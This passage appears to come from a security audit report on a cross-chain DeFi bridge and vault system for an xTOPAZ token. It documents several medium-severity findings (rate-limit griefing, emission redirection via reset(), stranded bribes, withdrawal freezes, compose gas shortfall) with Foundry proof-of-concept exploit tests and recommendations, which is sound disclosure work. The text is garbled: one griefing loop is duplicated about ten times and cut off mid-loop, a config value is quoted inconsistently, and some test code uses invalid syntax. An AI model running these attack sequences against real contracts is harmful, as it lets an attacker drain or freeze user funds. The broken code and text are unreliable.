// config/deploy/bsc.json (representative of every spoke entry)
{"inboundLimit": "50000000000000000000000000000000", "inboundWindow": 86400}
```

```
// deploy/O4_hub_adapter.ts
.filter((spoke) => spoke.inboundLimit !== undefined && spoke.inboundWindow !== undefined)
.map((spoke) => [{ eid: spoke.eid, limit: spoke.inboundLimit!, window: spoke.inboundWindow! }]);
...
await execute("XTopazOFTAdapter", { from: deployer, log: true }, "setInboundLimits", stale);
```

No deploy script ever calls `setOutboundLimits()` on the adapter, and nothing configures limits on `XTopazOFT` at all. So at launch:

DIRECTION	BUCKET	CONFIGURED?
BNB → spoke (adapter outbound)	<code>XTopazOFTAdapter.outboundLimits[eid]</code>	unlimited (never set)
hub packet arriving on spoke (OFT inbound)	<code>XTopazOFT.inboundLimits</code>	unlimited (never set)
spoke → BNB, leaving (OFT outbound)	<code>XTopazOFT.outboundLimits</code>	unlimited (never set)
spoke → BNB, arriving at adapter (adapter inbound)	<code>XTopazOFTAdapter.inboundLimits[eid]</code>	capped, 500,000 xTOPAZ / 24h, per spoke

The one capped bucket is exactly the one a griefing attacker needs: since every other leg of a round trip is unlimited, an attacker can cycle the **same principal** back and forth – bridge to a spoke (always succeeds), bridge straight back (consumes the one capped bucket), repeat – at essentially fixed operating cost (gas plus LayerZero fees), rather than needing ever-growing capital tied up to sustain the saturation.

Location of Affected Code

File: [topaz-xchain/contracts/bridge/DualRateLimiter.sol](#)

```
// bridge/DualRateLimiter.sol — the shared, per-eid (not per-user) accounting
mapping(uint32 eid => Limit) public outboundLimits;
mapping(uint32 eid => Limit) public inboundLimits;

function _consume(Limit storage entry, uint32 eid, bool outbound, uint256 amount) private {
    if (entry.limit == 0) return;
    (uint256 inFlight, uint256 available) = _decayed(entry);
    if (amount > available) revert RateLimitExceeded(eid, outbound, amount, available);
    entry.amountInFlight = uint192(inFlight + amount);
    entry.lastUpdated = uint64(block.timestamp);
}
```

File: [topaz-xchain/contracts/bridge/XTopazOFTAdapter.sol#L87-L94](#)

```
// bridge/XTopazOFTAdapter.sol — the one instance this bucket actually gates in the deployed system
function _credit(address to, uint256 amountLD, uint32 srcEid) internal override returns (uint256 amountReceivedLD) {
    if (routePaused[srcEid]) revert RoutePaused(srcEid);
    _inflow(srcEid, amountLD); // shared per-spoke bucket, any address's transfer consumes it equally
    uint256 tracked = supplyByEid[srcEid];
```

```
if (amountLD > tracked) revert SupplyUnderflow(srcEid, tracked, amountLD);
supplyByEid[srcEid] = tracked - amountLD;
amountReceivedLD = super._credit(to, amountLD, srcEid);
}
```

File: topaz-xchain/config/deploy/bsc.json

```
// config/deploy/bsc.json — evidence this is the only bucket configured at launch
{"inboundLimit": "50000000000000000000000000", "inboundWindow": 86400}
```

Impact

- Any legitimate user attempting to bridge xTOPAZ from that spoke back to BNB – including simply wanting to exit their position, or redeem via the `HubUnwrapComposer` / `SpokeStakeComposer` compose paths that also flow through the same `_credit` – reverts with `RateLimitExceeded` for as long as the attacker keeps the bucket saturated.
- Capital-efficient: the attacker's principal is returned to them at every step of the cycle (hub→spoke always succeeds; the immediate spoke→hub leg either succeeds, returning their tokens to BNB, or reverts harmlessly with no state change per `_consume`'s revert-before-write). A single wallet's worth of xTOPAZ, cycled repeatedly, sustains the block indefinitely – this is not bounded by the attacker's total capital, only by how many round trips they're willing to pay gas and LZ fees for.
- Bounded in scope to one spoke's route at a time (buckets are per-eid), but that's exactly the granularity a targeted attacker needs – they can pick whichever spoke they want to disrupt.
- Doesn't affect `EpochCoordinator.send` (hub → spoke, an unlimited direction) or hub-side settlement, so the weekly emissions machinery is unaffected – the impact is confined to user-initiated spoke → hub bridging on the targeted route.

Proof of Concept

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// Target: spoke B, whose adapter-side inbound bucket is capped at 500,000 xTOPAZ / 24h.
// Attacker holds only 'X' xTOPAZ worth of capital, reused every cycle.

for (..) {
  // 1. Unlimited direction — always succeeds.
  adapter.send{value: fee1}{sendParamToB(X), fee1, attacker}; // BNB -> B

  // 2. Immediately bridge back. Sized to keep the hub's inbound-from-B bucket
  //   saturated relative to its 500k/24h window.
  xTopazOFT_B.send{value: fee2}{sendParamToHub(X), fee2, attacker}; // B -> BNB, consumes the capped bucket

  // Attacker's own funds land back on BNB each cycle — no capital is ever at risk or growing.
  // Meanwhile, any other user's ordinary B -> BNB transfer submitted during this window:
```

```
// xTopazOFT_B.send[...] -> XTopazOFTAdapter_credit -> _inflow -> _consume -> reverts RateLimitExceeded
}
```

Because `_consume` reverts before writing any state on a rejected attempt, and because every leg the attacker takes other than the deliberately-timed spoke→hub one is unlimited, this loop can run indefinitely at a cost of gas and messaging fees only.

Recommendation

The underlying trade-off – a shared route-level bucket is simpler and cheaper than per-user accounting, but is exactly as grievable as this finding describes – needs a deliberate choice, not just a parameter tweak:

- **Per-user or per-address sub-limits** on the capped direction closes this precisely, at the cost of extra storage and complexity, and doesn't fully generalize (a well-resourced attacker can still split across many addresses, though at meaningfully higher cost than the current single-address round-trip).
- **A minimum interval between an address's outbound and return transfers on the same route** would directly target the round-trip pattern this finding relies on, without needing full per-user capacity accounting – cheaper to implement, though it can be worked around with multiple addresses at increased but still bounded cost.

Team Response

Acknowledged.

M-05

MEDIUM

FIXED

Permissionless `reset()` Can Redirect the Week's Entire Spoke Allocation

Description

`SystemGaugeStrategy.reset()` is permissionless and gates only on the Voter's epoch boundary. It never checks whether the epoch the vote earned has been settled. The BNB Voter accepts a reset from Thursday 01:00:01 UTC onward, while `EpochCoordinator.finalize()` is expected some time after Thursday 00:00 and may run much later.

If nobody has run `Minter.updatePeriod()`, `Voter.distribute()` or `finalize()` for the new epoch by 01:00:01, a caller resets the aggregate NFT's vote first. That removes the system pool's weight from `totalWeight`. The next `updatePeriod()` indexes the week's whole emission across the remaining BNB gauges. The system gauge accrues nothing, `finalize()` still marks the epoch settled, and the budget is zero for every spoke.

Ordering is what decides the outcome, and the Voter's own checkpointing shows why. `Voter._reset` calls `_updateFor(gauges[_pool])` before it decrements the weight, at `topaz-xchain/test/foundry/bnb-core/Voter.sol:178`. A reset that runs after `updatePeriod` therefore banks `claimable(systemGauge)` and is harmless. A reset that runs before it checkpoints against an unchanged `index`, yielding a zero delta, and then removes the weight, so the emission is indexed across a `totalWeight` that no longer contains the system pool.

The protocol's own documentation makes the accidental version likelier. `docs/epoch-state-machine.md:37` states that `reset()`, `claimRebase()` and `send()` are safe to call late, and its failure table gives "anyone calls `reset()` after Thu 01:00" as the recovery for a missed reset with no ordering warning.

This is a different root cause from a finding fixed in an earlier external review. That finding was about the coordinator reconstructing an already-notified amount from a mutable gauge timestamp, and its fix records `notifiedByEpoch`. Here nothing is ever notified: the weight is gone before the Minter indexes the week, so the gauge records a correct zero and that fix does not apply.

Location of Affected Code

File: [topaz-xchain/contracts/hub/SystemGaugeStrategy.sol#L85-L91](#)

- reset with no settlement gate:

```
function reset() external nonReentrant {
    uint256 tokenId = VAULT.aggregateTokenId();
    if (!VE.voted(tokenId)) revert NotVoted();
    if (VOTER.lastVoted(tokenId) >= EpochLib.epochStart(block.timestamp)) revert VoteStillCurrent();
    VAULT.resetVote();
    emit Reset(EpochLib.epochStart(block.timestamp), tokenId);
}
```

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol#L109-L120](#)

- Distribution and the claim run after the vote can already be gone, and a zero claim still finalizes the epoch:

```
function finalize() external nonReentrant {
    // code
    if (MINTER.activePeriod() < epoch) MINTER.updatePeriod();
    address[] memory gauges = new address[](1);
    gauges[0] = address(systemGauge);
    VOTER.distribute(gauges);

    uint256 budgetTopaz = ISystemGaugeStrategy(strategy).claimEmissions();
    VAULT.claimRebase();
}
```

```

(uint256 canonical, uint256 assigned) = _snapshotSupplies(epoch);
uint256 budgetShares = budgetTopaz == 0 ? 0 : VAULT.convertToShares(budgetTopaz);
uint256 minted = _assignBudgets(epoch, budgetShares, canonical);
if (budgetTopaz > 0) ISystemGaugeStrategy(strategy).lockEmissions(budgetTopaz, minted, address(this));
// code
}

```

Impact

The system pool's entire share of the weekly TOPAZ emission, the **B** that backs every spoke budget for that week, goes to the other BNB gauges instead. LP stakers there claim it as ordinary emissions, and the caller can pre-hold one of those gauges to collect the diverted share directly. Every spoke receives zero for the week. Nothing rolls forward, because the emission already sits inside gauges outside this system.

The attack needs one EOA and gas. No admin role, no capital. It repeats every week whose first hour after rollover is quiet. A keeper that distributes inside the first hour closes the window, so the precondition is partly outside the caller's control, but late finalization is a supported operating mode here and the failure recurs until the gate changes.

Proof of Concept

Save as `topaz-xchain/test/foundry/audit/ResetBeforeUpdatePoc.t.sol` :

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {HubFixture} from "../HubFixture.sol";

contract ResetBeforeUpdatePoC is HubFixture {
    function test_resetBeforeUpdateRedirectsEmissionToRemainingGauge() public {
        uint256 otherId = _createPermanentLock(alice, 1_000 * TOKEN_1);
        _warpToVoteWindow();
        _vote(alice, otherId, address(pool));
        strategy.vote();

        _warpToNextEpochAfterDistributeWindow();
        strategy.reset();
        coordinator.finalize();

        (, uint256 budgetTopaz, , ,) = coordinator.epochs(_epochStart());
        assertEq(budgetTopaz, 0);

        address[] memory gauges = new address[](1);
        gauges[0] = address(gauge);
        voter.distribute(gauges);
    }
}

```

```

    assertGt(topaz.balanceOf(address(gauge)), 0);
    assertEq(topaz.balanceOf(address(systemGauge)), 0);
}

function test_resetBeforeFirstUpdatePermanentlyZeroesSystemBudget() public {
    _warpToVoteWindow();
    strategy.vote();
    uint256 expectedWeight = voter.weights(address(systemPool));
    assertGt(expectedWeight, 0);

    _warpToNextEpochAfterDistributeWindow();
    strategy.reset();
    assertEq(voter.weights(address(systemPool)), 0);

    coordinator.finalize();
    uint256 epoch = _epochStart();
    [, uint256 budgetTopaz, uint256 budgetShares, uint256 minted, bool finalized] = coordinator.epochs(epoch);
    assertTrue(finalized);
    assertEq(budgetTopaz, 0);
    assertEq(budgetShares, 0);
    assertEq(minted, 0);
}

function test_negativeControl_updateBeforeResetPreservesSystemBudget() public {
    _warpToVoteWindow();
    strategy.vote();

    _warpToNextEpochAfterDistributeWindow();
    minter.updatePeriod();
    strategy.reset();

    coordinator.finalize();
    uint256 epoch = _epochStart();
    [, uint256 budgetTopaz, uint256 budgetShares, uint256 minted, bool finalized] = coordinator.epochs(epoch);
    assertTrue(finalized);
    assertGt(budgetTopaz, 0);
    assertGt(budgetShares, 0);
    // No mock spoke supply is configured in this focused fixture, so the
    // preserved system allocation is locked as backing without minting.
    assertEq(minted, 0);
}
}

```

Run from `topaz-xchain` :

```
FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-contract ResetBeforeUpdatePoC -w
```

Observed: 3 passed, 0 failed, 0 skipped.

```
[PASS] test_negativeControl_updateBeforeResetPreservesSystemBudget()
[PASS] test_resetBeforeFirstUpdatePermanentlyZeroesSystemBudget()
[PASS] test_resetBeforeUpdateRedirectsEmissionToRemainingGauge()
Suite result: ok. 3 passed; 0 failed; 0 skipped
```

The first test shows the displaced emission landing in another gauge. The second shows the epoch finalizing at zero. The control shows that checkpointing before the reset preserves the budget.

Recommendation

Require finalization of the current epoch before the vote can be cleared. A check against the previous epoch becomes ineffective after the first week because that epoch has already been settled.

```
function reset() external nonReentrant {
    uint256 epoch = EpochLib.epochStart(block.timestamp);
    if (COORDINATOR.finalizedEpoch() != epoch) revert EpochNotFinalized();
    uint256 tokenId = VAULT.aggregateTokenId();
    if (!VE.voted(tokenId)) revert NotVoted();
    if (VOTER.lastVoted(tokenId) >= epoch) revert VoteStillCurrent();
    VAULT.resetVote();
    emit Reset(epoch, tokenId);
}
```

Apply the same condition in `canReset()`. Otherwise keepers and interfaces will report that reset is available while `reset()` reverts. Tests should cover both functions before and after finalization, including a finalized epoch with a zero budget.

Another safe design is to let only `finalize()` reset the vote after distribution, claiming and accounting have all succeeded.

Team Response

Fixed.

M-06

MEDIUM

ACKNOWLEDGED

Redemption Can Permanently Strand the Aggregate NFT's Epoch Bribes

Description

Bribes the aggregate NFT earns for epoch N become claimable only after the rollover. The same rollover reopens redemption: from Thursday 01:00 the permissionless `strategy.reset()` clears the vote and any holder may call `redeem()`.

`redeem()` splits the aggregate. `VE.split(oldTokenId, assets)` consumes the old id and the vault keeps a fresh remainder id. The vault's claim path always claims for the current `aggregateTokenId`, so once the split has happened the epoch's bribes belong to an id that no longer exists and the new id has no bribe history. Nobody can claim them, because `Voter.claimBribes()` checks approved-or-owner against a token that has been burned.

The size of the redemption does not matter. One holder redeeming a single share burns the earning id for everyone. Claiming is `onlyOwner` on the strategy, so an unprivileged caller destroys value only the admin could have collected.

The only guaranteed claim window is Thursday 00:00 to 01:00, between finalize and reset, and no document states it.

Location of Affected Code

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L212-L217](#)

- redeem burns the earning id:

```
function redeem(uint256 shares, address receiver) external nonReentrant returns (uint256 tokenId, uint256 assets) {
    // code
    uint256 oldTokenId = aggregateTokenId;
    (uint256 remainderId, uint256 splitId) = VE.split(oldTokenId, assets);
    aggregateTokenId = remainderId;
    emit AggregateReplaced(oldTokenId, remainderId);

    VE.safeTransferFrom(address(this), receiver, splitId);
    //code
}
```

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L278-L283](#)

- the claim path uses the current id and has no way to address a historical one:

```
/// @notice Claims voting rewards owed to the aggregate NFT, such as bribes donated to the system gauge.
/// Tokens land in the vault: the owner sweeps them, and TOPAZ is locked without minting.
function claimSystemRewards(
    address[] calldata rewards,
    address[][] calldata tokens
) external nonReentrant onlyStrategy whenInitialized {
    VOTER.claimBribes(rewards, tokens, aggregateTokenId);
}
```

Impact

The entire unclaimed bribe balance for the completed epoch is lost, not the redeemer's pro-rata part alone. The loss falls on every xTOPAZ holder and the trigger is any ordinary redemption, including a dust one, so likelihood is high. The amount is whatever the bribe market paid for the system pool's weight that week, which is real value rather than dust. The condition returns every epoch.

Proof of Concept

Save as `topaz-xchain/test/foundry/audit/RedeemBribeStrandPoc.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {HubFixture} from "../HubFixture.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import {BribeVotingReward} from "../bnb-core/rewards/BribeVotingReward.sol";

contract RedeemBribeStrandPoC is HubFixture {
    MockERC20 internal bribeToken;
    BribeVotingReward internal bribe;
    uint256 internal constant BRIBE = 1_000e18;
    uint256 internal bobShares;

    function setUp() public override {
        super.setUp();
        bribeToken = new MockERC20("Bribe", "BRB", 18);
        bribe = BribeVotingReward(voter.gaugeToBribe(address(systemGauge)));
        voter.whitelistToken(address(bribeToken), true); // governor is the fixture deployer

        bobShares = _wrapPermanent(bob, 100e18); // bob will redeem later
        _warpToVoteWindow();
        strategy.vote(); // aggregate earns the epoch's bribes
        bribeToken.mint(address(this), BRIBE);
        bribeToken.approve(address(bribe), BRIBE);
        bribe.notifyRewardAmount(address(bribeToken), BRIBE);

        _warpToNextEpochAfterDistributeWindow();
        strategy.reset(); // reopens redemption
    }

    function test_redeemBeforeClaimStrandsEpochBribes() public {
        assertGt(bribeToken.balanceOf(address(bribe)), 0, "bribes awaiting claim");

        // Bob redeems: the aggregate is split and the earning id is burned.
        vault.claimRebase(); // drain the pending rebase backlog guard
        vm.startPrank(bob);
        xTopaz.approve(address(vault), bobShares);
    }
}
```

```

vault.redeem(bobShares, bob);
vm.stopPrank();

// The claim path now runs against the NEW aggregate id, which has no epoch history.
strategy.claimDonatedBribes(_rewards(), _tokens());

assertEq(bribeToken.balanceOf(address(vault)), 0, "vault received nothing");
assertEq(bribeToken.balanceOf(address(bribe)), BRIBE, "bribes stranded forever: old id burned");
}

function test_negativeControl_claimBeforeRedeemRecoversBribes() public {
    strategy.claimDonatedBribes(_rewards(), _tokens());
    assertEq(bribeToken.balanceOf(address(vault)), BRIBE, "claim while aggregate intact works");

    vault.claimRebase();
    vm.startPrank(bob);
    xTopaz.approve(address(vault), bobShares);
    vault.redeem(bobShares, bob);
    vm.stopPrank();
    assertEq(bribeToken.balanceOf(address(vault)), BRIBE, "already-claimed bribes survive redeem");
}

function _rewards() internal view returns (address[] memory r) {
    r = new address[](1);
    r[0] = address(bribe);
}

function _tokens() internal view returns (address[][] memory t) {
    t = new address[][](1);
    t[0] = new address[](1);
    t[0][0] = address(bribeToken);
}
}

```

Run from `topaz-xchain` :

```
FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-contract RedeemBribeStrandPoC -vv
```

Observed: 2 passed, 0 failed, 0 skipped.

```

[PASS] test_negativeControl_claimBeforeRedeemRecoversBribes()
[PASS] test_redeemBeforeClaimStrandsEpochBribes()
Suite result: ok. 2 passed; 0 failed; 0 skipped

```

The exploit leaves the full bribe balance sitting in the reward contract after the redemption. The control recovers it when the claim runs first.

Recommendation

Keep bribe collection outside `finalize()` so a long reward list or a reverting reward token cannot block weekly emission settlement.

Add a separate bribe-settlement checkpoint keyed by the completed epoch and the current `aggregateTokenId`. After rollover, let callers enumerate and claim the system bribe tokens in bounded batches. Mark the checkpoint complete only after the current reward list has been processed. `strategy.reset()` must require that checkpoint, which keeps redemption closed until the earning NFT has collected its rewards.

The recovery design also needs a governed way to quarantine a non-standard reward token whose transfer always reverts. Skipping such a token may forfeit that token, but it must not freeze emission settlement or every future redemption. Tests should cover multiple batches, a reward added during processing, a reverting token and a dust redemption attempted before settlement completes.

Team Response

Acknowledged.

M-07

MEDIUM

ACKNOWLEDGED

A Killed Gauge Blocks Every Exit from an Unlocked Current-Epoch Position

Description

A spoke position that has voted in the current epoch cannot be withdrawn from at all once any gauge in its slate is killed.

Partial withdrawal calls `Ivoter[voter].poke(id)` with no `try/catch` guard. The unchanged Voter rebuilds the recorded slate and reverts with `GaugeNotAlive` on the dead gauge, so the whole `unstake()` reverts. Full withdrawal takes the other branch, `_resetForClose()`, which refuses while the vote belongs to the current epoch. Both exits are closed until the next epoch boundary.

The position itself is already past `unlockAt`. The vote bookkeeping is what blocks it.

Location of Affected Code

File: [topaz-spoke-contracts/contracts/XTopazVotingVault.sol#L195-L200](#)

- both branches:

```
function unstake(uint256 id, uint256 amount, address receiver) external nonReentrant {  
    // code
```

```

bool closing = amount == p.amount;
if (hasActiveVote[id] && closing) _resetForClose(id);
p.amount -= amount;
totalStaked -= amount;
if (hasActiveVote[id] && !closing) IVoter(voter).poke(id);
xTopaz.safeTransfer(receiver, amount);
// code
}

```

File: [topaz-spoke-contracts/contracts/XTopazVotingVault.sol#L311-L314](#)

- the close branch:

```

function _resetForClose(uint256 id) internal {
    if (IVoter(voter).lastVoted(id) >= ProtocolTimeLibrary.epochStart(block.timestamp)) revert VotedThisEpoch();
    IVoter(voter).reset(id);
}

```

The add-money path already anticipates this failure mode and swallows it at lines 319–324, but `unstake()` does not:

```

function _pokeIfVoting(uint256 id) internal {
    if (!hasActiveVote[id] || block.timestamp <= ProtocolTimeLibrary.epochVoteStart(block.timestamp)) return;
    try IVoter(voter).poke(id) {} catch (bytes memory reason) {
        emit PokeSkipped(id, reason);
    }
}

```

Impact

Every affected position has 100% of its principal locked for the rest of the epoch, up to almost a week. A gauge kill is an ordinary emergency-council action, and it hits every position that voted for that gauge this epoch, not one user. Funds are not lost; they become withdrawable after rollover.

Proof of Concept

Save as `topaz-spoke-contracts/test/KilledGaugeUnstakePoc.t.sol`:

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {XTopazVotingVaultTest} from "../XTopazVotingVault.t.sol";
import {IXTopazVotingVault} from "../contracts/interfaces/IXTopazVotingVault.sol";
import {IVoter} from "../contracts/interfaces/IVoter.sol";

contract KilledGaugeUnstakePoC is XTopazVotingVaultTest {

```

```

function test_killedGaugeTemporarilyBlocksAllWithdrawalAfterCurrentEpochVote() public {
    uint256 id = _stakeAndVote(alice, AMOUNT, address(pool));

    vm.warp(vault.position(id).unlockAt + 2 hours);
    [address[] memory pools, uint256[] memory weights] = _slate(address(pool));
    vm.prank(alice);
    vault.vote(id, pools, weights);

    voter.killGauge(address(gauge));

    vm.prank(alice);
    vm.expectRevert(abi.encodeWithSelector(IVoter.GaugeNotAlive.selector, address(gauge)));
    vault.unstake(id, AMOUNT / 2, alice);

    vm.prank(alice);
    vm.expectRevert(IXTopazVotingVault.VotedThisEpoch.selector);
    vault.unstake(id, AMOUNT, alice);

    assertEq(vault.position(id).amount, AMOUNT);
    assertEq(xTopaz.balanceOf(address(vault)), AMOUNT);
}

function test_negativeControlWithdrawalSucceedsAtNextEpochByClosing() public {
    uint256 id = _stakeAndVote(alice, AMOUNT, address(pool));

    vm.warp(vault.position(id).unlockAt + 2 hours);
    [address[] memory pools, uint256[] memory weights] = _slate(address(pool));
    vm.prank(alice);
    vault.vote(id, pools, weights);
    voter.killGauge(address(gauge));

    _rollEpoch();
    vm.prank(alice);
    vault.unstake(id, AMOUNT, alice);

    assertEq(vault.position(id).amount, 0);
    assertEq(xTopaz.balanceOf(address(vault)), 0);
}
}

```

The contract extends the repository's own `XTopazVotingVault.t.sol` harness, so the run below filters to the two cases added here.

Run from `topaz-spoke-contracts` :

```

FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-contract KilledGaugeUnstakePoC --match-test
'killedGauge|negativeControl' -vv

```

Observed: 2 passed, 0 failed, 0 skipped.

```
[PASS] test_killedGaugeTemporarilyBlocksAllWithdrawalAfterCurrentEpochVote()  
[PASS] test_negativeControlWithdrawalSucceedsAtNextEpochByClosing()  
Suite result: ok. 2 passed; 0 failed; 0 skipped
```

The first test shows both exits reverting while the principal is already unlocked. The control shows the withdrawal succeeding once the epoch rolls.

Recommendation

The spoke Voter must remain byte-identical to the audited core, and `XTopazVotingVault` cannot remove one pool from the Voter slate or rescale the rest by itself. Catching the failed `poke`, as `_pokeIfVoting()` already does on the add-money path, would release principal while leaving excess vote weight behind on a dead gauge until rollover. That tradeoff is the team's call and should be made explicitly rather than by omission.

If the freeze is kept, treat it as an operating constraint in this deployment. Interfaces should show that an unlocked position may still be unavailable after one of its gauges is killed. Planned kills should happen after affected positions can reset in a new epoch. An emergency kill takes priority over liquidity, and affected positions wait until rollover.

Removing the freeze without the stale-weight side effect requires an upstream Voter change that can atomically discard dead gauges and rescale surviving votes. That change falls outside the byte-identical spoke-core constraint and needs its own audit before adoption.

Team Response

Acknowledged.

M-08

MEDIUM

FIXED

The Enforced Hub Compose Gas Cannot Complete Bridge-Back-and-Unwrap

Description

The enforced LayerZero option for a composed message arriving on the hub provides 600,000 gas. The documented bridge-back-and-unwrap flow first delivers the user's xTOPAZ to `HubUnwrapComposer`, then calls `VeTopazVault.redeem()` to split a permanent veNFT from the aggregate lock.

The ordinary redemption path already exceeds the configured allowance. In the PoC below, execution runs out of gas with the production limit of 600,000. It still runs out of gas with the test fixture's 1,000,000 limit. Retrying the same queued compose message with 1,050,000 gas completes the redemption in this fixture. That number is an observed success point, not a production-safe limit.

The `try/catch` in `HubUnwrapComposer` does not provide a fallback for this failure. `redeem()` consumes the gas forwarded into the external call, leaving too little for the catch block to clear the approval and transfer the xTOPAZ. The endpoint's `lzCompose()` subcall reverts. The production Executor catches that revert and emits an alert, while the compose queue remains pending for retry.

The interface guide tells direct OFT callers that `extraOptions` may be empty because the limits are enforced on-chain. Those calls therefore rely on the insufficient 600,000-gas option. A caller who already knows about the shortfall can add compose gas through `extraOptions`, but the documented empty-options flow is broken.

Location of Affected Code

File: [topaz-xchain/layerzero.config.ts#L34-L38](#)

- sets the hub compose allowance:

```
const hubEnforced: OAppEnforcedOption[] = [
  { msgType: SEND, optionType: ExecutorOptionType.LZ_RECEIVE, gas: 100_000, value: 0 },
  { msgType: SEND_AND_CALL, optionType: ExecutorOptionType.LZ_RECEIVE, gas: 100_000, value: 0 },
  { msgType: SEND_AND_CALL, optionType: ExecutorOptionType.COMPOSE, index: 0, gas: 600_000, value: 0 },
];
```

File: [topaz-xchain/contracts/bridge/HubUnwrapComposer.sol#L39-L55](#)

